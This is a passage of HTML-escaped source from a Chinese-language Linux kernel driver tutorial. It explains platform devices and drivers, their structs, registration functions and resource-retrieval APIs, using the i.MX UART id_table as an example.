            struct platform_device *pdev)

{
    while (id-&amp;gt;name[0]) {
        if (strcmp(pdev-&amp;gt;name, id-&amp;gt;name) == 0) {
            pdev-&amp;gt;id_entry = id;
            return id;
        }
        id++;
    }
    return NULL;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;大家可以看到这里的代码实现并不复杂，只是通过字符串进行配对。每当有新的驱动或者设备添加到总线时，总线便会调用match函数对新的设备或者驱动进行配对。 platform_match_id函数中第一个参数为驱动提供的id_table，第二个参数则是待匹配的平台设备。当待匹配的平台设备的name字段的值等于驱动提供的id_table中的值时， 会将当前匹配的项赋值给platform_device中的id_entry，返回一个非空指针。若没有成功匹配，则返回空指针。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;wildfire-platform-driver&#x2F;platform-id-table-match.jpg&quot; alt=&quot;驱动和设备匹配过程&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;倘若我们的驱动没有提供前三种方式的其中一种，那么总线进行匹配时，只能比较platform_device中的name字段以及嵌在platform_driver中的device_driver的name字段。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;wildfire-platform-driver&#x2F;platform-driver-name-match.jpg&quot; alt=&quot;名称匹配方式&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;7-2-ping-tai-she-bei-p&quot;&gt;7.2. 平台设备&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至标题&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id4&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;7-2-1-platform-devicejie-gou-ti-p&quot;&gt;7.2.1. platform_device结构体&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至标题&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#platform-device&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;内核使用platform_device结构体来描述平台设备，结构体原型如下：&lt;&#x2F;p&gt;
&lt;p&gt;platform_device结构体(内核源码&#x2F;include&#x2F;linux&#x2F;platform_device.h)&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至代码&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id34&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlighttable&quot; class=&quot;language-highlighttable &quot;&gt;&lt;code class=&quot;language-highlighttable&quot; data-lang=&quot;highlighttable&quot;&gt; struct platform_device {
     const char *name;
     int id;
     struct device dev;
     u32 num_resources;
     struct resource *resource;
     const struct platform_device_id *id_entry;
     &amp;#x2F;* 省略部分成员 *&amp;#x2F;
 };
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;name：&lt;&#x2F;strong&gt;  设备名称，总线进行匹配时，会比较设备和驱动的名称是否一致；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;id：&lt;&#x2F;strong&gt;  指定设备的编号，Linux支持同名的设备，而同名设备之间则是通过该编号进行区分；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;dev：&lt;&#x2F;strong&gt;  Linux设备模型中的device结构体，linux内核大量使用了面向对象思想，platform_device通过继承该结构体可复用它的相关代码，方便内核管理平台设备；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;num_resources：&lt;&#x2F;strong&gt;  记录资源的个数，当结构体成员resource存放的是数组时，需要记录resource数组的个数，内核提供了宏定义ARRAY_SIZE用于计算数组的个数；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;resource：&lt;&#x2F;strong&gt;  平台设备提供给驱动的资源，如irq，dma，内存等等。该结构体会在接下来的内容进行讲解；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;id_entry：&lt;&#x2F;strong&gt;  平台总线提供的另一种匹配方式，原理依然是通过比较字符串，这部分内容会在平台总线小节中讲，这里的id_entry用于保存匹配的结果；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;7-2-2-he-wei-she-bei-xin-xi-p&quot;&gt;7.2.2. 何为设备信息？&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至标题&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id5&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;平台设备的工作是为驱动程序提供设备信息,设备信息包括硬件信息和软件信息两部分。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;硬件信息：驱动程序需要使用到什么寄存器，占用哪些中断号、内存资源、IO口等等&lt;&#x2F;li&gt;
&lt;li&gt;软件信息：以太网卡设备中的MAC地址、I2C设备中的设备地址、SPI设备的片选信号线等等&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;对于硬件信息，使用结构体struct resource来保存设备所提供的资源，比如设备使用的中断编号，寄存器物理地址等，结构体原型如下：&lt;&#x2F;p&gt;
&lt;p&gt;resource结构体(内核源码&#x2F;include&#x2F;linux&#x2F;ioport.h)&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至代码&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id35&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlighttable&quot; class=&quot;language-highlighttable &quot;&gt;&lt;code class=&quot;language-highlighttable&quot; data-lang=&quot;highlighttable&quot;&gt;&amp;#x2F;*
* Resources are tree-like, allowing
* nesting etc..
*&amp;#x2F;

struct resource {
    resource_size_t start;
    resource_size_t end;
    const char *name;
    unsigned long flags;
    &amp;#x2F;* 省略部分成员 *&amp;#x2F;
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;name：&lt;&#x2F;strong&gt;  指定资源的名字，可以设置为NULL；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;start、end：&lt;&#x2F;strong&gt;  指定资源的起始地址以及结束地址&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;flags：&lt;&#x2F;strong&gt;  用于指定该资源的类型，在Linux中，资源包括I&#x2F;O、Memory、Register、IRQ、DMA、Bus等多种类型，最常见的有以下几种：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;资源宏定义&lt;&#x2F;th&gt;&lt;th&gt;描述&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;IORESOURCE_IO&lt;&#x2F;td&gt;&lt;td&gt;用于IO地址空间，对应于IO端口映射方式&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;IORESOURCE_MEM&lt;&#x2F;td&gt;&lt;td&gt;用于外设的可直接寻址的地址空间&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;IORESOURCE_IRQ&lt;&#x2F;td&gt;&lt;td&gt;用于指定该设备使用某个中断&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;IORESOURCE_DMA&lt;&#x2F;td&gt;&lt;td&gt;用于指定使用的DMA通道&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;设备驱动程序的主要目的是操作设备的寄存器。不同架构的计算机提供不同的操作接口，主要有IO端口映射和IO內存映射两种方式。 对应于IO端口映射方式，只能通过专门的接口函数（如inb、outb）才能访问； 采用IO内存映射的方式，可以像访问内存一样，去读写寄存器。在嵌入式中，基本上没有IO地址空间，所以通常使用IORESOURCE_MEM。&lt;&#x2F;p&gt;
&lt;p&gt;在资源的起始地址和结束地址中，对于IORESOURCE_IO或者是IORESOURCE_MEM，他们表示要使用的内存的起始位置以及结束位置； 若是只用一个中断引脚或者是一个通道，则它们的start和end成员值必须是相等的。&lt;&#x2F;p&gt;
&lt;p&gt;而对于软件信息，这种特殊信息需要我们以私有数据的形式进行封装保存，我们注意到platform_device结构体中，有个device结构体类型的成员dev。在前面章节，我们提到过Linux设备模型使用device结构体来抽象物理设备， 该结构体的成员platform_data可用于保存设备的私有数据。platform_data是void &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id6&quot;&gt;*&lt;&#x2F;a&gt;类型的万能指针，无论你想要提供的是什么内容，只需要把数据的地址赋值给platform_data即可，还是以GPIO引脚号为例，示例代码如下：&lt;&#x2F;p&gt;
&lt;p&gt;示例代码&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至代码&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id36&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlighttable&quot; class=&quot;language-highlighttable &quot;&gt;&lt;code class=&quot;language-highlighttable&quot; data-lang=&quot;highlighttable&quot;&gt;unsigned int pin = 10;

struct platform_device pdev = {
    .dev = {
        .platform_data = &amp;amp;pin;
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;将保存了GPIO引脚号的变量pin地址赋值给platform_data指针，在驱动程序中通过调用平台设备总线中的核心函数，可以获取到我们需要的引脚号。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;7-2-3-zhu-ce-zhu-xiao-ping-tai-she-bei-p&quot;&gt;7.2.3. 注册&#x2F;注销平台设备&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至标题&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id8&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;当我们定义并初始化好platform_device结构体后，需要把它注册、挂载到平台设备总线上。注册平台设备需要使用platform_device_register()函数，该函数原型如下：&lt;&#x2F;p&gt;
&lt;p&gt;platform_device_register函数(内核源码&#x2F;drivers&#x2F;base&#x2F;platform.c)&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至代码&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id37&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlighttable&quot; class=&quot;language-highlighttable &quot;&gt;&lt;code class=&quot;language-highlighttable&quot; data-lang=&quot;highlighttable&quot;&gt;int platform_device_register(struct platform_device *pdev)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;函数参数和返回值如下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;参数：&lt;&#x2F;strong&gt; &lt;strong&gt;pdev:&lt;&#x2F;strong&gt;  platform_device类型结构体指针&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;返回值：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;成功：&lt;&#x2F;strong&gt;  0&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;失败：&lt;&#x2F;strong&gt;  负数&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;同样，当需要注销、移除某个平台设备时，我们需要使用platform_device_unregister函数，来通知平台设备总线去移除该设备。&lt;&#x2F;p&gt;
&lt;p&gt;platform_device_unregister函数(内核源码&#x2F;drivers&#x2F;base&#x2F;platform.c)&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至代码&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id38&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlighttable&quot; class=&quot;language-highlighttable &quot;&gt;&lt;code class=&quot;language-highlighttable&quot; data-lang=&quot;highlighttable&quot;&gt;void platform_device_unregister(struct platform_device *pdev)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;函数参数和返回值如下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;参数：&lt;&#x2F;strong&gt; &lt;strong&gt;pdev:&lt;&#x2F;strong&gt;  platform_device类型结构体指针&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;返回值：&lt;&#x2F;strong&gt; &lt;strong&gt;无&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;到这里，平台设备的知识已经讲解完毕，平台设备的主要内容是将硬件部分的代码与驱动部分的代码分开，注册到平台设备总线中。平台设备总线为设备和驱动之间搭建 了一座桥——统一的数据结构以及函数接口，设备和驱动的数据交互直接在“这座桥上”进行。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;7-3-ping-tai-qu-dong-p&quot;&gt;7.3. 平台驱动&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至标题&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id9&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;7-3-1-platform-driverjie-gou-ti-p&quot;&gt;7.3.1. platform_driver结构体&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至标题&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#platform-driver&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;内核中使用platform_driver结构体来描述平台驱动，结构体原型如下所示：&lt;&#x2F;p&gt;
&lt;p&gt;platform_driver结构体(内核源码&#x2F;include&#x2F;platform_device.h)&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至代码&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id39&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlighttable&quot; class=&quot;language-highlighttable &quot;&gt;&lt;code class=&quot;language-highlighttable&quot; data-lang=&quot;highlighttable&quot;&gt;struct platform_driver {

    int (*probe)(struct platform_device *);
    int (*remove)(struct platform_device *);
    struct device_driver driver;
    const struct platform_device_id *id_table;

};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;probe：&lt;&#x2F;strong&gt;  函数指针，驱动开发人员需要在驱动程序中初始化该函数指针，当总线为设备和驱动匹配上之后，会回调执行该函数。我们一般通过该函数，对设备进行一系列的初始化。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;remove：&lt;&#x2F;strong&gt;  函数指针，驱动开发人员需要在驱动程序中初始化该函数指针，当我们移除某个平台设备时，会回调执行该函数指针，该函数实现的操作，通常是probe函数实现操作的逆过程。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;driver：&lt;&#x2F;strong&gt;  Linux设备模型中用于抽象驱动的device_driver结构体，platform_driver继承该结构体，也就获取了设备模型驱动对象的特性；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;id_table：&lt;&#x2F;strong&gt;  表示该驱动能够兼容的设备类型。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;platform_device_id结构体原型如下所示:&lt;&#x2F;p&gt;
&lt;p&gt;id_table结构体(内核源码&#x2F;include&#x2F;linux&#x2F;mod_devicetable.h)&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至代码&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id40&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlighttable&quot; class=&quot;language-highlighttable &quot;&gt;&lt;code class=&quot;language-highlighttable&quot; data-lang=&quot;highlighttable&quot;&gt;struct platform_device_id {
    char name[PLATFORM_NAME_SIZE];
    kernel_ulong_t driver_data;

};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在platform_device_id这个结构体中，有两个成员，第一个是数组用于指定驱动的名称，总线进行匹配时，会依据该结构体的name成员与platform_device中的变量name进行比较匹配， 另一个成员变量driver_data，则是用于来保存设备的配置。我们知道在同系列的设备中，往往只是某些寄存器的配置不一样，为了减少代码的冗余， 尽量做到一个驱动可以匹配多个设备的目的。接下来以imx的串口为例，具体看下这个结构体的作用：&lt;&#x2F;p&gt;
&lt;p&gt;示例代码(内核源码&#x2F;drivers&#x2F;tty&#x2F;serial&#x2F;imx.c)&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至代码&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id41&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlighttable&quot; class=&quot;language-highlighttable &quot;&gt;&lt;code class=&quot;language-highlighttable&quot; data-lang=&quot;highlighttable&quot;&gt;static struct imx_uart_data imx_uart_devdata[] = {

    [IMX1_UART] = {
        .uts_reg = IMX1_UTS,
        .devtype = IMX1_UART,
    },

    [IMX21_UART] = {
        .uts_reg = IMX21_UTS,
        .devtype = IMX21_UART,
    },

    [IMX6Q_UART] = {
        .uts_reg = IMX21_UTS,
        .devtype = IMX6Q_UART,
    },

};

static struct platform_device_id imx_uart_devtype[] = {

    {
        .name = &amp;quot;imx1-uart&amp;quot;,
        .driver_data = (kernel_ulong_t) &amp;amp;imx_uart_devdata[IMX1_UART],
    },

    {
        .name = &amp;quot;imx21-uart&amp;quot;,
        .driver_data = (kernel_ulong_t) &amp;amp;imx_uart_devdata[IMX21_UART],
    },

    {
        .name = &amp;quot;imx6q-uart&amp;quot;,
        .driver_data = (kernel_ulong_t) &amp;amp;imx_uart_devdata[IMX6Q_UART],

    },

    {
        &amp;#x2F;* sentinel *&amp;#x2F;

    }

};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;第1-18行:声明了一个结构体数组，用来表示不同平台的串口类型。&lt;&#x2F;li&gt;
&lt;li&gt;第20-42行:使用platform_device_id结构体中的driver_data成员来储存上面的串口信息&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;在上面的代码中，支持三种设备的串口，支持imx1、imx21、imx6q三种不同系列芯片，他们之间区别在于串口的test寄存器地址不同。 当总线成功配对平台驱动以及平台设备时，会将对应的id_table条目赋值给平台设备的id_entry成员，而平台驱动的probe函数是以平台设备为参数， 这样的话，就可以拿到当前设备串口的test寄存器地址了。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;7-3-2-zhu-ce-zhu-xiao-ping-tai-qu-dong-p&quot;&gt;7.3.2. 注册&#x2F;注销平台驱动&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至标题&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id10&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;当我们初始化了platform_driver之后，通过platform_driver_register()函数来注册我们的平台驱动，该函数原型如下：&lt;&#x2F;p&gt;
&lt;p&gt;platform_driver_register函数&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至代码&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id42&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlighttable&quot; class=&quot;language-highlighttable &quot;&gt;&lt;code class=&quot;language-highlighttable&quot; data-lang=&quot;highlighttable&quot;&gt;int platform_driver_register(struct platform_driver *drv);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;函数参数和返回值如下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;参数：&lt;&#x2F;strong&gt; &lt;strong&gt;drv:&lt;&#x2F;strong&gt;  platform_driver类型结构体指针&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;返回值：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;成功：&lt;&#x2F;strong&gt;  0&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;失败：&lt;&#x2F;strong&gt;  负数&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;由于platform_driver继承了driver结构体，结合Linux设备模型的知识， 当成功注册了一个平台驱动后，就会在&#x2F;sys&#x2F;bus&#x2F;platform&#x2F;driver目录下生成一个新的目录项。&lt;&#x2F;p&gt;
&lt;p&gt;当卸载的驱动模块时，需要注销掉已注册的平台驱动，platform_driver_unregister()函数用于注销已注册的平台驱动，该函数原型如下：&lt;&#x2F;p&gt;
&lt;p&gt;platform_driver_unregister函数(内核源码&#x2F;drivers&#x2F;base&#x2F;platform.c)&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至代码&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id43&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlighttable&quot; class=&quot;language-highlighttable &quot;&gt;&lt;code class=&quot;language-highlighttable&quot; data-lang=&quot;highlighttable&quot;&gt;void platform_driver_unregister(struct platform_driver *drv);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;参数：&lt;&#x2F;strong&gt; &lt;strong&gt;drv:&lt;&#x2F;strong&gt;  platform_driver类型结构体指针&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;返回值：&lt;&#x2F;strong&gt; &lt;strong&gt;无&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;上面所讲的内容是最基本的平台驱动框架，只需要实现probe函数、remove函数，初始化platform_driver结构体，并调用platform_driver_register进行注册即可。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;7-3-3-ping-tai-qu-dong-huo-qu-she-bei-xin-xi-p&quot;&gt;7.3.3. 平台驱动获取设备信息&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至标题&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id11&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;在学习平台设备的时候，我们知道平台设备使用结构体resource来抽象表示硬件信息，而软件信息则可以利用设备结构体device中的成员platform_data来保存。 先看一下如何获取平台设备中结构体resource提供的资源。&lt;&#x2F;p&gt;
&lt;p&gt;platform_get_resource()函数通常会在驱动的probe函数中执行，用于获取平台设备提供的资源结构体，最终会返回一个struct resource类型的指针，该函数原型如下：&lt;&#x2F;p&gt;
&lt;p&gt;platform_get_resource函数&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至代码&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id44&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlighttable&quot; class=&quot;language-highlighttable &quot;&gt;&lt;code class=&quot;language-highlighttable&quot; data-lang=&quot;highlighttable&quot;&gt;struct resource *platform_get_resource(struct platform_device *dev, unsigned int type, unsigned int num);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;参数：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;dev：&lt;&#x2F;strong&gt;  指定要获取哪个平台设备的资源；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;type：&lt;&#x2F;strong&gt;  指定获取资源的类型，如IORESOURCE_MEM、IORESOURCE_IO等；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;num：&lt;&#x2F;strong&gt;  指定要获取的资源编号。每个设备所需要资源的个数是不一定的，为此内核对这些资源进行了编号，对于不同的资源，编号之间是相互独立的。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;返回值：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;成功：&lt;&#x2F;strong&gt;  struct resource结构体类型指针&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;失败：&lt;&#x2F;strong&gt;  NULL&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;假若资源类型为IORESOURCE_IRQ，平台设备驱动还提供以下函数接口，来获取中断引脚，&lt;&#x2F;p&gt;
&lt;p&gt;platform_get_irq函数&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至代码&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id45&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlighttable&quot; class=&quot;language-highlighttable &quot;&gt;&lt;code class=&quot;language-highlighttable&quot; data-lang=&quot;highlighttable&quot;&gt;int platform_get_irq(struct platform_device *pdev, unsigned int num)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;参数：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;pdev：&lt;&#x2F;strong&gt;  指定要获取哪个平台设备的资源；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;num：&lt;&#x2F;strong&gt;  指定要获取的资源编号。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;返回值：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;成功：&lt;&#x2F;strong&gt;  可用的中断号&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;失败：&lt;&#x2F;strong&gt;  负数&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;对于存放在device结构体中成员platform_data的软件信息，我们可以使用dev_get_platdata函数来获取，函数原型如下所示：&lt;&#x2F;p&gt;
&lt;p&gt;dev_get_platdata函数&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至代码&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id46&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
